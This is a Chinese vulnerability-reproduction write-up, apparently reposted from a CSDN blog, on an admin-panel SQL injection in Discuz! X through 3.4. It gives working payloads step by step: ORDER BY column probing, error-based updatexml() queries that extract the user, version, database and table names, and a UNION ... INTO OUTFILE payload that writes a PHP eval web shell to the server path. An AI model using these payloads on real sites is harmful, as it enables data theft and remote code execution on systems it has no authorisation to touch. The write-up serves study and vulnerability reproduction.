Discuz X 系列全版本 后台Sql注入漏洞

Discuz! X 系列全版本 后台Sql注入漏洞

一、漏洞简介

利用条件:

1.知道网站的绝对路径

2.secure_file_priv的值为空

​ 这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT … INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。 如果这个参数为空,这个变量没有效果; 如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它; 如果这个参数为NULL,MySQL服务会禁止导入和导出操作。

二、漏洞影响

Discuz!系列全版本,截止到 Discuz! 3.4 R20191201 UTF-8

三、复现过程

安装好discuz!后,登录管理员账号,进入 站长->Ucenter设置:

在这里插入图片描述

1.抓包

开启Burp suite抓包工具,点击网页上的 提交 后,将其发送到repeter:

在这里插入图片描述

2.判断列数

此时查询对应的列数,根据列数做文章:

分别 1’ order by 1 1’ order by 2

发现前者提示成功,而后者会报错:

在这里插入图片描述

在这里插入图片描述

此时我门判断只有一列,然后查询用户名,利用:1' and updatexml(1,concat(0x7e,(SELECT user())),1)-- a

在这里插入图片描述

3.查询版本

然后利用:1' and updatexml(1,concat(0x7e,(SELECT version())),1)-- a 查询版本号:

在这里插入图片描述

4.查询数据库

利用 1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)-- a 去查询数据库的个数:

先以这条为例:

在这里插入图片描述

1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),1)-- a 查询到数据库名为:db
在这里插入图片描述

1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1)-- a 未查询到数据库

综上,查询到数据库共两个

5.查询数据表

任意选取一个数据库去查询表,这里选择db:
在这里插入图片描述

然后继续改变查询参数,可以发现有很多表。

6.写入文件

在这里插入图片描述

显示 The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

修改好相关的配置后

1' union select '<?php eval($_GET[1])?>' into outfile 'C:\\DiscuzX-Common\\1.php' -- a

在这里插入图片描述

おすすめ

転載: blog.csdn.net/weixin_45847364/article/details/122199739